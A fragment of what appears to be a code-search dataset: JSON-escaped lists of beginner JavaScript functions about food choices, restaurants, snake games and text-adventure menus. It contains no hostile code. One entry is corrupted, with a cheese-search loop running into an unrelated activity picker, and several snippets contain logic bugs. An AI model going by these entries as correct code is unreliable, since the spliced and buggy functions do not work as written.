\"dog\"\n}","function runIntoTheForest(){\n\tstory(\"You get sketched out from the guy acting strange all of a sudden so you just start running as fast as you can towards the only cover you'll have to get away from him\");\n\tchoices = [\"Trip over a tree root\",\"Go back\",\"Call the police\"];\n\tanswer = setOptions(choices);\n}","function genRandomResult(placesArray){\n var numResult = Math.floor(Math.random() * (placesArray.length));\n var restaurantChoice = placesArray[numResult];\n console.log(\"restaurant choice \" + restaurantChoice)\n //alert(restaurantChoice);\n return restaurantChoice;\n}//genRandomResult"],"string":"[\n \"function handleFastRestaurantChoice() {\\n /** @type {HTMLInputElement} Input field. */\\n const fastDishInput = document.getElementById(\\\"fast-input\\\").value;\\n const fastfoodMenu = [\\\"cheeseburger\\\", \\\"doubleburger\\\", \\\"veganburger\\\"]\\n\\n if(fastDishInput == fastfoodMenu[0]) {\\n restaurantClosing();\\n } else if (fastDishInput == fastfoodMenu[1]) {\\n restaurantClosing();\\n } else if (fastDishInput == fastfoodMenu[2]) {\\n restaurantClosing();\\n } else {\\n fastFoodRestaurantScene();\\n }\\n}\",\n \"function handleFancyRestaurantChoice() {\\n /** @type {HTMLInputElement} Input field. */\\n const dishInput = document.getElementById(\\\"dish-input\\\").value;\\n const fancyMenu = [\\\"pizza\\\", \\\"paella\\\", \\\"pasta\\\"]\\n\\n if(dishInput == fancyMenu[0]) {\\n restaurantClosing();\\n } else if (dishInput == fancyMenu[1]) {\\n restaurantClosing();\\n } else if (dishInput == fancyMenu[2]) {\\n restaurantClosing();\\n } else {\\n fancyRestauratMenu();\\n }\\n}\",\n \"function randomFood() {\\n\\n\\t\\tif (Math.random() > 0.5) {\\n\\t\\t\\treturn 'pizza';\\n\\t\\t} \\n\\t\\treturn 'ice cream';\\n\\t}\",\n \"function whatDidYouEat(food) {\\n var outcome;\\n switch (food) {\\n case \\\"beans\\\":\\n outcome = \\\"gas attack\\\";\\n break;\\n case \\\"salad\\\":\\n outcome = \\\"safe and sound\\\";\\n break;\\n case \\\"mexican\\\":\\n outcome = \\\"diarrhea in 30 minutes\\\"\\n break;\\n default:\\n outcome = \\\"please enter valid food\\\";\\n }\\n return outcome;\\n}\",\n \"function checkFood(food){\\n\\tvar food = [\\\"chicken\\\", \\\"beef\\\", \\\"fish\\\", \\\"lamb\\\", \\\"veal\\\"];\\n\\n\\t//The first term starts with 0\\n\\n\\tif(food == food[0] || food == food[1] || food == food[2] || food == food[3] || food == food [4]){\\n\\t\\talert(\\\"You are considered as meat\\\");\\n\\t}else{\\n\\t\\talert(\\\"You may or may not be considered as meat\\\");\\n\\t//if chicken, beef, fish, lamb or veal is entered, then a popup will appaer with \\\"You are considered as meat\\\"\\n\\t//if something else is entered, then a popup will appear saying \\\"you may or may not be considered as meat\\\"\\t\\n\\t}\\n}\",\n \"function findTheCheese (foods) {\\n\\n for (var i = 0; i < foods.length; i++) {\\n\\n switch (foods[i]) {\\n case \\\"cheddar\\\":\\n return \\\"cheddar\\\"\\n break;\\n case \\\"gouda\\\":\\n return \\\"gouda\\\"\\n break;\\n case \\\"camembert\\\":\\n return \\\"camembert\\\"\\n break;\\n }\\n }\\n return \\\"no cheese!\\\"\\n}\",\n \"function eat(food)\\n\\t\\t{\\n\\t\\t\\t// Add the food's HTML element to a queue of uneaten food elements.\\n\\t\\t\\tuneatenFood.push(food.element);\\n\\n\\t\\t\\t// Tell the fish to swim to the position of the specified food object, appending this swim instruction\\n\\t\\t\\t// to all other swim paths currently queued, and then when the swimming is done call back a function that\\n\\t\\t\\t// removes the food element.\\n\\t\\t\\tFish.swimTo(\\n\\t\\t\\t\\tfood.position,\\n\\t\\t\\t\\tFish.PathType.AppendPath,\\n\\t\\t\\t\\tfunction()\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tlet eatenFood = uneatenFood.shift();\\n\\t\\t\\t\\t\\teatenFood.parentNode.removeChild(eatenFood);\\n\\t\\t\\t\\t\\tgrow();\\n\\t\\t\\t\\t});\\n\\t\\t} // end eat()\",\n \"function makeFood(beans, rice) {\\n if (beans === 'y' && rice === 'y') {\\n console.log('Burrito');\\n }\\n}\",\n \"function setFoodType(type) {\\n // This allows us to display items related to the choice on the map but also to style the buttons so the user knows that they have selected something\\n if(type === 'kebab') {\\n $scope.hammered = 'chosen-emotion';\\n $scope.hungover = '';\\n $scope.hangry = '';\\n $scope.hardworking = '';\\n } else if(type === 'cafe') {\\n $scope.hammered = '';\\n $scope.hungover = 'chosen-emotion';\\n $scope.hangry = '';\\n $scope.hardworking = '';\\n } else if(type === 'fastfood') {\\n $scope.hammered = '';\\n $scope.hungover = '';\\n $scope.hangry = 'chosen-emotion';\\n $scope.hardworking = '';\\n } else {\\n $scope.hammered = '';\\n $scope.hungover = '';\\n $scope.hangry = '';\\n $scope.hardworking = 'chosen-emotion';\\n }\\n vm.foodType = type;\\n }\",\n \"selectSoupTomato() {\\n I.waitForElement(foodObjects.chooseCup);\\n I.tap(foodObjects.chooseCup);\\n I.waitForElementLeaveDom(settings.config.helpers.Appium.platform, commonObjects.progressBar);\\n I.waitForElement(foodObjects.tomatoSoup);\\n I.tap(foodObjects.tomatoSoup);\\n I.waitForElementLeaveDom(settings.config.helpers.Appium.platform, commonObjects.progressBar);\\n }\",\n \"function randomFood() {\\n\\tfor(var i=0; i<3; i++) {\\n\\t\\tvar rfood = Math.floor(Math.random()*food.length);\\n\\t\\tfoods[i].className = 'food';\\n\\t\\tfoods[i].classList.add(food[rfood]);\\n\\t\\tfoods[i].style.top = randomPosition()+\\\"px\\\";\\n\\t\\tfoods[i].style.left = randomPosition()+\\\"px\\\";\\n\\t\\tcheckEat(pig, foods[i]);\\n\\t}\\n}\",\n \"function fruitOrVegetable(product) {\\n switch (product) {\\n case \\\"cucumber\\\":\\n case \\\"pepper\\\":\\n case \\\"carrot\\\":\\n console.log(\\\"vegetable\\\");\\n break;\\n // TODO: Implement the other cases\\n }\\n}\",\n \"eat() {\\r\\n let consume = this.food - 2\\r\\n if (consume > 1) {\\r\\n this.isHealthy = true\\r\\n return this.food = consume\\r\\n } if (consume <= 0) {\\r\\n this.isHealthy = false\\r\\n return this.food = 0\\r\\n }\\r\\n else if (consume <= 1) {\\r\\n return this.food = consume\\r\\n //alert(this.name + \\\" food supply reached to 0. It's time for a hunt\\\")\\r\\n //this.isHealthy = true\\r\\n }\\r\\n\\r\\n }\",\n \"generateRestaurant(){\\n// we want the user to input the zipcode they want to search, the food type they want to eat\\n// and the rating (1-5) \\n// getRestaurants()\\n\\n\\n}\",\n \"function eatingFood(eatingTime) {\\n switch(eatingTime) {\\n case 'Breakfast':\\n return '07:00';\\n case 'Lunch':\\n return '13:00';\\n default:\\n return 'I do not eat';\\n }\\n}\",\n \"pickUpFood() {\\n var surTile = this.Survivor.getCurrentTile();\\n for (const f of this.foodStock) {\\n if (surTile === f.getTile() && f.getActive()) {\\n f.setActive(false);\\n this.playerFood += this.foodValue;\\n this.playerScore += 10;\\n }\\n }\\n }\",\n \"function changeRestaurant() {\\n if (selectedRestaurant < rRestaurants.length - 1) {\\n const next = selectedRestaurant + 1;\\n dispatch(setSelectedRestaurant(next));\\n } else {\\n dispatch(setSelectedRestaurant(0));\\n }\\n }\",\n \"function getRandomMeal() {\\n const getMeal = async () => {\\n const singleMeal = await getRandom();\\n if (singleMeal) setMeal(singleMeal);\\n setStatus(true);\\n };\\n getMeal();\\n }\",\n \"function eatFood() {\\n if (gameState.snakeStart === gameState.food) {\\n gameState.snakeLength++;\\n\\n updateFoodCell(\\\"remove\\\", gameState.food);\\n\\n createFood();\\n updateFoodCell(\\\"add\\\", gameState.food);\\n gameState.score++;\\n increaseSpeed();\\n showScore();\\n return true;\\n }\\n}\",\n \"function eat(snake, food) {\\n\\tsnake.belly = food.value;\\n\\tresetFood();\\n}\",\n \"eat(){\\n let head = this.state.snakeDots[this.state.snakeDots.length - 1];\\n let food = this.state.food;\\n if (head[0] === food[0] && head[1] === food[1]){\\n this.setState({\\n food : getRandomCo()\\n })\\n this.increaseB();\\n this.SpeedIN();\\n }\\n }\",\n \"function fastFoodMeal(sandwich, side, drink, dessert) {\\n \\n return {\\n sandwich: sandwich,\\n side: side,\\n drink: drink,\\n dessert: dessert,\\n }\\n}\",\n \"function foodClickHandler(foodsitem) {\\n setFood(foodsitem);\\n }\",\n \"function computeFood(inputFood) {\\n if (inputFood) {\\n inputFood = inputFood.toLowerCase();\\n switch (inputFood) {\\n case \\\"italian\\\": \\n parseFood = \\\"cuisine=italian&\\\";\\n break;\\n case \\\"american\\\":\\n parseFood = \\\"cuisine=american&\\\";\\n break;\\n case \\\"chicken\\\": \\n parseFood = \\\"cuisine=chicken&\\\";\\n break;\\n case \\\"burgers\\\": \\n parseFood = \\\"cuisine=burgers&\\\";\\n break;\\n case \\\"salads\\\": \\n parseFood = \\\"cuisine=salads&\\\";\\n break;\\n case \\\"sandwiches\\\": \\n parseFood = \\\"cuisine=sandwiches&\\\";\\n break;\\n case \\\"soups\\\": \\n parseFood = \\\"cuisine=soups&\\\";\\n break;\\n case \\\"subs\\\": \\n parseFood = \\\"cuisine=subs&\\\";\\n break;\\n case \\\"chinese\\\": \\n parseFood = \\\"cuisine=chinese&\\\";\\n break;\\n case \\\"vietnamese\\\": \\n parseFood = \\\"cuisine=vietnamese&\\\";\\n break;\\n case \\\"pizza\\\": \\n parseFood = \\\"cuisine=pizza&\\\";\\n break;\\n case \\\"seafood\\\": \\n parseFood = \\\"cuisine=seafood&\\\";\\n break;\\n case \\\"indian\\\": \\n parseFood = \\\"cuisine=indian&\\\";\\n break;\\n case \\\"asian\\\": \\n parseFood = \\\"cuisine=asian&\\\";\\n break;\\n case \\\"diner\\\": \\n parseFood = \\\"cuisine=diner&\\\";\\n break;\\n case \\\"healthy\\\": \\n parseFood = \\\"cuisine=healthy&\\\";\\n break;\\n case \\\"irish\\\": \\n parseFood = \\\"cuisine=irish&\\\";\\n break;\\n case \\\"mediterranean\\\": \\n parseFood = \\\"cuisine=mediterranean&\\\";\\n break;\\n case \\\"noodles\\\": \\n parseFood = \\\"cuisine=noodles&\\\";\\n break;\\n case \\\"steak\\\": \\n parseFood = \\\"cuisine=steak&\\\";\\n break;\\n case \\\"vegetarian\\\": \\n parseFood = \\\"cuisine=vegetarian&\\\";\\n break;\\n }\\n }\\n}\",\n \"function chooseAction() {\\n\\tinquirer\\n\\t\\t.prompt({\\n\\t\\t\\tname: \\\"action\\\", \\n\\t\\t\\ttype: \\\"rawlist\\\", \\n\\t\\t\\tmessage: \\\"What do you want to do?\\\", \\n\\t\\t\\tchoices: [\\\"VIEW PRODUCTS\\\", \\\"VIEW LOW INVENTORY\\\", \\\"ADD TO INVENTORY\\\", \\\"ADD NEW PRODUCT\\\", \\\"QUIT\\\"]\\n\\t\\t})\\n\\t\\t.then(function(ans) {\\n\\t\\t\\tif(ans.action.toUpperCase() ===\\\"VIEW PRODUCTS\\\") {\\n\\t\\t\\t\\tviewProducts(); \\n\\t\\t\\t} \\n\\t\\t\\telse if (ans.action.toUpperCase() === \\\"VIEW LOW INVENTORY\\\") {\\n\\t\\t\\t\\tviewLowInventory(); \\n\\t\\t\\t}\\n\\t\\t\\telse if (ans.action.toUpperCase() === \\\"ADD TO INVENTORY\\\") {\\n\\t\\t\\t\\taddInventory(); \\n\\t\\t\\t}\\n\\t\\t\\telse if (ans.action.toUpperCase() === \\\"ADD NEW PRODUCT\\\") {\\n\\t\\t\\t\\taddNewProduct(); \\n\\t\\t\\t}\\n\\t\\t\\telse {\\n\\t\\t\\t\\tendConnection(); \\n\\t\\t\\t}\\n\\t\\t})\\n}\",\n \"async displayFoodChoice(step) {\\n const user = await this.userProfile.get(step.context, {});\\n if (user.food) {\\n await step.context.sendActivity(`Your name is ${ user.name } and you would like this kind of food : ${ user.food }.`);\\n } else {\\n const user = await this.userProfile.get(step.context, {});\\n\\n //await step.context.sendActivity(`[${ step.context.activity.text }]-type activity detected.`);\\n\\n if (step.context.activity.text == 1) {\\n user.food = \\\"European\\\";\\n await this.userProfile.set(step.context, user);\\n } else if (step.context.activity.text == 2) {\\n user.food = \\\"Chinese\\\";\\n await this.userProfile.set(step.context, user);\\n } else if (step.context.activity.text == 3) {\\n user.food = \\\"American\\\";\\n await this.userProfile.set(step.context, user);\\n }else {\\n await this.userProfile.set(step.context, user);\\n await step.context.sendActivity(`Sorry, I do not understand, please try again.`);\\n return await step.beginDialog(WHICH_FOOD);\\n }\\n\\n await step.context.sendActivity(`Your name is ${ user.name } and you would like this kind of food : ${ user.food }.`);\\n }\\n return await step.beginDialog(WHICH_PRICE);\\n //return await step.endDialog();\\n}\",\n \"function fightOrRun() {\\n var choices = [\\\"Run\\\", \\\"Fight\\\"];\\n var askPlayer = parseInt(readline.keyInSelect(choices, \\\"Do you want to fight like a shark or run like a shrimp???\\\\nThe next monster might be scarier.\\\\n \\\\n What are you going to do? Press 1 to run...Press 2 to fight.\\\"));\\n if (choices === 1) {\\n //call the function for deciding to run \\n run();\\n } else {\\n //call the function for deciding to fight\\n console.log('You decided to fight, bring it on!!.');\\n fight();\\n }\\n }\",\n \"onFood () {\\r\\n let tilePlants = this.tile.objs.filter(o => o.name === 'plant')\\r\\n if (tilePlants.length < 1) return false\\r\\n return tilePlants[0]\\r\\n }\",\n \"function foodFunc() {\\n\\n var favFood = prompt('Guess one of the top four styles of foods that I enjoy eating.').toLowerCase();\\n var foodStyles = ['mexican', 'italian', 'southern', 'japanese'];\\n\\n for (var i = 0; i < 5; i++) {\\n if (favFood === foodStyles[0] || favFood === foodStyles[1] || favFood === foodStyles[2] || favFood === foodStyles[3]) {\\n favFood = alert('Correct, ' + favFood + ' food is delicious!');\\n score++;\\n break;\\n } else if (i !== 6) {\\n favFood = prompt('That doesn\\\\'t make the top four. Please try again.');\\n }\\n }\\n if (i === 5) {\\n favFood = alert('My top four favorite styles of food are mexican, italian, southern, and japanese food!');\\n }\\n}\",\n \"function makeEnemyChoice() {\\n const choices = [\\\"horse\\\", \\\"hay\\\", \\\"sword\\\"];\\n const choiceIndex = Math.floor(Math.random() * choices.length);\\n selectItem(\\\"enemy\\\", choices[choiceIndex]);\\n}\",\n \"eat () {\\n if (this.food === 0) {\\n this.isHealthy = false;\\n\\n } else {\\n this.food -= 1;\\n }\\n }\",\n \"function makeChoise() {\\n\\tconsole.log('Func makeChoise');\\n\\tvar choise = 0;\\n\\tif(machina.countCoins == MINERAL_WATER) {\\n\\t\\tchoise = prompt('Press 1 to choose Mineral water or add more coins to make another choise.', 0);\\n\\t\\tif(choise == 1) {\\n\\t\\t\\tmachina.giveMineralWater();\\n\\t\\t}\\n\\t\\telse getCoins();\\n\\t}\\n\\telse if(machina.countCoins == SWEET_WATER ) {\\n\\t\\tchoise = prompt('Press 1 to choose Mineral water or Press 2 to choose Sweet water.', 0);\\n\\t\\tif(choise == 1) {\\n\\t\\t\\tmachina.giveMineralWater();\\n\\t\\t}\\n\\t\\telse machina.giveSweetWater();\\n\\t}\\n}\",\n \"function fightOrFlight() {\\n var fightOrFlight = ask.question(\\\"Do you choose to fight or run? Type 'f' to fight or 'r' to run\\\\n\\\")\\n if (fightOrFlight === \\\"f\\\") {\\n fight();\\n } else {\\n run();\\n }\\n}\",\n \"async eatEnergy() {\\n await this.updateAvailableEat();\\n let response = await this.sendRequest(\\\"foodSystem.php\\\", { \\\"whatneed\\\": \\\"eatFrmHldnk\\\" });\\n debug(\\\"Eating...\\\", response);\\n return response;\\n }\",\n \"setSelectedRestaurant(state, resto) {\\n state.selectedRestaurant = resto;\\n }\",\n \"function pickFood() {\\r\\n\\r\\n\\t\\tdocument.getElementById(\\\"searchFood\\\").value = \\\"\\\";\\r\\n\\t\\tlet food = document.getElementById(this.id).innerHTML;\\r\\n\\t\\tlet foodName = \\\"\\\";\\r\\n\\t\\tlet foodSplit = food.split(/[ \\\\t\\\\n]+/);\\r\\n\\r\\n\\t\\tfor(let i = 0; i < foodSplit.length; i++) {\\r\\n\\t\\t\\tfoodName += foodSplit[i];\\r\\n\\t\\t\\tif(i + 1 < foodSplit.length) {\\r\\n\\t\\t\\t\\tfoodName += \\\"+\\\";\\r\\n\\t\\t\\t}\\r\\n\\t\\t}\\r\\n\\r\\n\\t\\tlet url = \\\"https://www.themealdb.com/api/json/v1/1/search.php?s=\\\"+foodName;\\r\\n\\t\\tfetch(url)\\r\\n\\t\\t\\t.then(checkStatus)\\r\\n\\t\\t\\t.then(function(responseText) {\\r\\n\\t\\t\\t\\tlet json = JSON.parse(responseText);\\r\\n\\t\\t\\t\\tclear();\\r\\n\\t\\t\\t\\taddTop(json);\\r\\n\\t\\t\\t\\taddIngredients(json);\\r\\n\\t\\t\\t\\taddDirections(json);\\r\\n\\t\\t\\t\\textras(json);\\r\\n\\t\\t\\t\\tdocument.getElementById(\\\"image\\\").style.visibility = \\\"visible\\\";\\r\\n\\t\\t\\t})\\r\\n\\t\\t\\t.catch(function(error) {\\r\\n\\t\\t\\t\\tconsole.log(error);\\r\\n\\t\\t\\t\\tlet error1 = document.getElementById(\\\"error\\\");\\r\\n\\t\\t\\t\\terror1.innerHTML = \\\"Sorry a problem occurred with API, try another name\\\";\\r\\n\\t\\t\\t});\\r\\n\\t}\",\n \"function findTheCheese (foods) {\\n for (var i=0; i= 1) {\\n\\t\\t\\t\\t\\tadventure = \\\"restaurant\\\";\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\telse if (activity == 1 && budget == 0) {\\n\\t\\t\\t\\t\\tadventure = \\\"shopping_mall\\\";\\n\\t\\t\\t\\t} else if (activity == 1 && budget >= 1) {\\n\\t\\t\\t\\t\\tadventure = \\\"amusement_park\\\";\\n\\t\\t\\t\\t} else if (activity == 2 && budget == 0) {\\n\\t\\t\\t\\t\\tadventure = \\\"bar\\\";\\n\\t\\t\\t\\t} else if (activity == 2 && budget >= 1) {\\n\\t\\t\\t\\t\\tadventure = \\\"spa\\\";\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\",\n \"function Traveler(food, name, isHealthy) {\\n this.isHealthy = true; //setting as true to begin with\\n this.food = food; // CB Note: can put this getRandomIntInclusive(1,0); --not best solution\\n this.name = name;\\n this.isHealthy = isHealthy;\\n }\",\n \"function chooseAction(me, opponent, t) {\\n // This strategy uses the state variable 'evil'.\\n // In every round, turn 'not angel' with 10% probability.\\n // (And remain this way until the 200 rounds are over.)\\n if (Math.random() < 0.1) {\\n angel = false;\\n }\\n\\n // If angel, recycle\\n if (angel) return 1;\\n\\n return 0; // Waste otherwise\\n }\",\n \"async promptForFood(step) {\\n if (step.result && step.result.value === 'yes') {\\n\\n return await step.prompt(FOOD_PROMPT, `Tell me what kind of food would you prefer ?`,\\n {\\n retryPrompt: 'Sorry, I do not understand or say cancel.'\\n }\\n );\\n } else {\\n return await step.next(-1);\\n }\\n}\",\n \"function flavorBanana() {\\n\\t// flavor texts\\n\\tflavors = [\\\"Bananas are radioactive.\\\",\\\"Bananas are clones.\\\",\\\"Most types of banana are unpalatable.\\\",\\\"Bananas are technically a berry.\\\",\\\"A cluster of bananas is called a \\\\\\\"hand.\\\\\\\"\\\"];\\n\\t// pick a flavor text and return it\\n\\tflavor = Math.floor(Math.random() * flavors.length);\\n\\treturn flavors[flavor];\\n}\",\n \"function selectMeat(meat) {\\n if($scope.model.selectedBurger.meat) {\\n $scope.model.selectedBurger.meat.selected = false;\\n }\\n $scope.model.selectedBurger.meat = meat;\\n $scope.model.selectedBurger.meat.selected = true;\\n selectStep('cheese');\\n }\",\n \"function doChoice(e) {\\n if (this.selectedIndex>0) {\\n var c = favlist[this.options[this.selectedIndex].value];\\n\\t\\tvar fail = false;\\n if (c) {\\n var i;\\n setNotice('Loading fav ...');\\n for (i=1;i<=c.length;i++) {\\n fail |= setState(i,c[i-1]);\\n }\\n for (;i<=11;i++) {\\n clearState(i);\\n }\\n }\\n this.selectedIndex = 0;\\n\\t\\tif (fail)\\n\\t\\t\\taddNotice('Item(s) not found!');\\n\\t\\telse\\n\\t\\t\\taddNotice('Fav loaded!');\\n }\\n}\",\n \"function findFood(post) {\\n\\t\\tconsole.log(post);\\n\\t\\trestaurantCheck(post);\\n\\t\\tpost = filterPost(post); // filters posts\\n\\n\\t\\t// checks spoonacular API to find foods\\n\\t\\tpost.forEach(function (element, index) {\\n\\t\\t\\tclassifyCuisine(element);\\n\\t\\t\\tingredientSearch(element);\\n\\t\\t});\\n\\t}\",\n \"function foodFactory() {\\n\\n\\t\\t//generate food randomly with 1/10 chance\\n\\t\\tif (Math.floor((Math.random() * 25) + 1) === 3) {\\n\\n\\t\\t\\t//randomly position it on the field\\n\\t\\t\\tvar randomX = Math.floor((Math.random() * size) );\\n\\t\\t\\tvar randomY = Math.floor((Math.random() * size) );\\n\\n\\t\\t\\t//if selected field is empty create food here\\n\\t\\t\\tif (game[randomY][randomX] === 0) {\\n\\t\\t\\t\\tgame[randomY][randomX] = 2;\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\",\n \"function ingredientSearch (food) {\\n\\n\\t\\t// J\\n\\t\\t// Q\\n\\t\\t// U\\n\\t\\t// E\\n\\t\\t// R\\n\\t\\t// Y\\n\\t\\t$.ajax ({\\n\\t\\t\\tmethod: \\\"GET\\\",\\n\\t\\t\\turl: ingredientSearchURL+\\\"?metaInformation=false&number=10&query=\\\"+food,\\n\\t\\t headers: {\\n\\t\\t 'X-Mashape-Key': XMashapeKey,\\n\\t\\t 'Content-Type': \\\"application/x-www-form-urlencoded\\\",\\n\\t\\t \\\"Accept\\\": \\\"application/json\\\"\\n\\t\\t }\\n\\t\\t}).done(function (data) {\\n\\t\\t\\t// check each returned ingredient for complete instance of passed in food\\n\\t\\t\\tfor (var i = 0; i < data.length; i++) {\\n\\t\\t\\t\\tvar word_list = getWords(data[i].name);\\n\\t\\t\\t\\t// ensures food is an ingredient and not already in the food list\\n\\t\\t\\t\\tif (word_list.indexOf(food) !== -1 && food_list.indexOf(food) === -1) {\\n\\t\\t\\t\\t\\tfood_list.push(food);\\n\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t});\\n\\t}\",\n \"function generateRandomFood() {\\n\\n\\t\\tvar x = Math.floor((Math.random() * BOARD_SIZE));\\n\\t\\tvar y = Math.floor((Math.random() * BOARD_SIZE));\\n\\n\\t\\tvar pos = new Position(x,y);\\n\\n\\t\\twhile(snakeAtPosition(pos)) {\\n\\n\\t\\t\\tx = Math.floor((Math.random() * BOARD_SIZE));\\n\\t\\t\\ty = Math.floor((Math.random() * BOARD_SIZE));\\n\\t\\t\\tpos = new Position(x,y);\\n\\t\\t}\\n\\n\\t\\treturn new Food(pos.x, pos.y);\\n\\t}\",\n \"function systemSelection(option){\\n\\tvar check = option; \\n\\tif(vehicleFuel<=0){\\n\\t\\tgameOverLose();\\n\\t}\\n\\n\\telse{\\n\\n\\n\\tif(currentLocation===check){\\n\\t\\t\\tgamePrompt(\\\"Sorry Captain, You're already there or have been there. I will return you to the main menu to make another choice\\\",beginTravel);\\n\\t\\t\\t}\\n\\n\\telse{\\n\\t\\n\\t\\t\\tif(check.toLowerCase() === \\\"e\\\"){\\n\\t\\t\\t\\tvehicleFuel=(vehicleFuel-10);\\n\\t\\t\\t\\tcurrentLocation=\\\"e\\\" ;\\n\\t\\t\\t\\tgamePrompt(\\\"Flying to Earth...You used 10 gallons of gas. The \\\"+ vehicleName +\\\" now has \\\"+vehicleFuel+ \\\" gallons.\\\",goToEarth);\\n\\t\\t\\t}\\n\\t\\telse if(check.toLowerCase() === \\\"m\\\"){\\n\\t\\t\\t//need to add a 'visited' conditional\\n\\t\\t\\tvehicleFuel=(vehicleFuel-20);\\n\\t\\t\\tcurrentLocation=\\\"m\\\" ;\\n\\t\\t\\t\\tgamePrompt(\\\"Flying to Mesnides...You used 20 gallons of gas. The \\\"+ vehicleName +\\\" now has \\\"+vehicleFuel+ \\\" gallons.\\\", goToMesnides);\\n\\t\\t\\t}\\n\\t\\telse if(check.toLowerCase() === \\\"l\\\"){\\n\\t\\t\\tvehicleFuel=(vehicleFuel-50);\\n\\t\\t\\tcurrentLocation=\\\"l\\\" ;\\n\\t\\t\\tgamePrompt(\\\"Flying to Laplides...You used 50 gallons of gas. The \\\"+ vehicleName +\\\" now has \\\"+vehicleFuel+ \\\" gallons.\\\",goToLaplides);\\n\\t\\t\\t}\\n\\t\\telse if(check.toLowerCase() === \\\"k\\\"){\\n\\t\\t\\tvehicleFuel=(vehicleFuel-120);\\n\\t\\t\\tcurrentLocation=\\\"k\\\" ;\\n\\t\\t\\tgamePrompt(\\\"Flying to Kiyturn...You used 120 gallons of gas. The \\\"+ vehicleName +\\\" now has \\\"+vehicleFuel+ \\\" gallons.\\\",goToKiyturn);\\n\\t\\t\\t}\\n\\t\\telse if(check.toLowerCase() === \\\"a\\\"){\\n\\t\\t\\tvehicleFuel=(vehicleFuel-25);\\n\\t\\t\\tcurrentLocation=\\\"a\\\";\\n\\t\\t\\tgamePrompt(\\\"Flying to Aenides...You used 25 gallons of gas. The \\\"+ vehicleName +\\\" now has \\\"+vehicleFuel+ \\\" gallons.\\\",goToAenides);\\n\\t\\t\\t}\\n\\t\\telse if(check.toLowerCase() === \\\"c\\\"){\\n\\t\\t\\tvehicleFuel=(vehicleFuel-200);\\n\\t\\t\\tcurrentLocation=\\\"c\\\" ;\\n\\t\\t\\tgamePrompt(\\\"Flying to Cramuthea...You used 200 gallons of gas. The \\\"+ vehicleName +\\\" now has \\\"+vehicleFuel+ \\\" gallons.\\\",goToCramuthea);\\n\\t\\t\\t}\\n\\t\\telse if(check.toLowerCase() === \\\"s\\\"){\\n\\t\\t\\tvehicleFuel=(vehicleFuel-400);\\n\\t\\t\\tcurrentLocation=\\\"s\\\" ;\\n\\t\\t\\tgamePrompt(\\\"Flying to Smeon T9Q...You used 400 gallons of gas. The \\\"+ vehicleName +\\\" now has \\\"+vehicleFuel+ \\\" gallons.\\\",goToSmeon);\\n\\t\\t\\t}\\n\\t\\telse if(check.toLowerCase() === \\\"g\\\"){\\n\\t\\t\\tvehicleFuel=(vehicleFuel-85);\\n\\t\\t\\tcurrentLocation=\\\"g\\\" ;\\n\\t\\t\\tgamePrompt(\\\"Flying to Gleshan 7Z9...You used 85 gallons of gas. The \\\"+ vehicleName +\\\" now has \\\"+vehicleFuel+ \\\" gallons.\\\",goToGleshan);\\n\\t\\t\\t}\\n\\t\\telse{\\n\\t\\t\\tgamePrompt(\\\"Sorry Captain, I did not understand you. I will return you to the main menu\\\",beginTravel);\\n\\t\\t}\\n\\t}\\n\\t}\\n}\",\n \"function chap19(){\\n var wantChicken = false;\\n var foodArray = [\\\"Salmon\\\", \\\"Tilapia\\\", \\\"Tuna\\\", \\\"Lobster\\\"];\\n var customerOrder = prompt(\\\"What would you like?\\\", \\\"Look the menu\\\");\\n for (var i = 0; i <= 3; i++) {\\n if (customerOrder === foodArray[i]) {\\n wantChicken = true;\\n alert(\\\"We have it on the menu!\\\");\\n break;\\n }\\n }\\n if(wantChicken===false) {\\n\\t\\talert(\\\"We don't serve chicken here, sorry.\\\");\\n\\t}\\n}\",\n \"function createFood() {\\n food.FOOD_COLOUR = food.colours[Math.floor(Math.random()*7)]\\n // Generate a random number the food x-coordinate\\n food.x = randomTen(0, gameCanvas.width - 10);\\n // Generate a random number for the food y-coordinate\\n food.y = randomTen(0, gameCanvas.height - 10);\\n \\n\\n // if the new food location is where the snake currently is, generate a new food location\\n snakeOne.snake.forEach(function isFoodOnSnake(part) {\\n const foodIsoNsnake = part.x == food.x && part.y == food.y;\\n if (foodIsoNsnake) createFood();\\n });\\n }\",\n \"function doSomething(chosen, title) {\\n switch (chosen) {\\n case 'my-tweets':\\n tweetIt();\\n break;\\n case 'spotify-this-song':\\n songIt(title);\\n break;\\n case 'movie-this':\\n movieIt(title);\\n break;\\n case 'do-what-it-says':\\n doIt();\\n break;\\n }\\n}\",\n \"function supervisorMenu() {\\n inquirer\\n .prompt({\\n name: 'apple',\\n type: 'list',\\n message: 'What would you like to do?'.yellow,\\n choices: ['View Product Sales by Department',\\n 'View/Update Department',\\n 'Create New Department',\\n 'Exit']\\n })\\n .then(function (pick) {\\n switch (pick.apple) {\\n case 'View Product Sales by Department':\\n departmentSales();\\n break;\\n case 'View/Update Department':\\n updateDepartment();\\n break;\\n case 'Create New Department':\\n createDepartment();\\n break;\\n case 'Exit':\\n connection.end();\\n break;\\n }\\n });\\n}\",\n \"function travelTypeChange (userInput) { //takes the result from changeDestinationResult and uses the yesOrNo function to give random part of trip the user wishes to switch.\\n if(userInput === \\\"1\\\"){\\n \\n randomDestination = yesOrNo(destination,destination);\\n \\n }\\n else if (userInput === \\\"2\\\") {\\n \\n randomRestaurant = yesOrNo(restaurant,restaurant);\\n }\\n else if (userInput === \\\"3\\\") {\\n \\n randomTravelType = yesOrNo(transportation, transportation);\\n }\\n else if (userInput === \\\"4\\\") {\\n \\n randomEntertainment = yesOrNo(entertainment,entertainment);\\n }\\n}\",\n \"function setFood() {\\n\\tvar empty = [];\\n\\t\\n\\t//finds all empty cells so not to collide with snake\\n\\tfor (var x=0; x < grid.w; x++) {\\n\\t\\tfor (var y=0; y < grid.h; y++) {\\n\\t\\t\\tif (grid.get(x, y) == emptyFill) {\\n\\t\\t\\t\\tempty.push({x:x, y:y});\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\t\\n\\t//puts food in random cell\\n\\tvar randpos = empty[Math.round(Math.random()*(empty.length - 1))];\\n\\tgrid.set(foodFill, randpos.x, randpos.y);\\n}\",\n \"function randomFood() {\\n var fRow = Math.floor(Math.random() * 19);\\n var fCol = Math.floor(Math.random() * 19);\\n var foodCell = $('#cell_'+fRow+'_'+fCol);\\n if 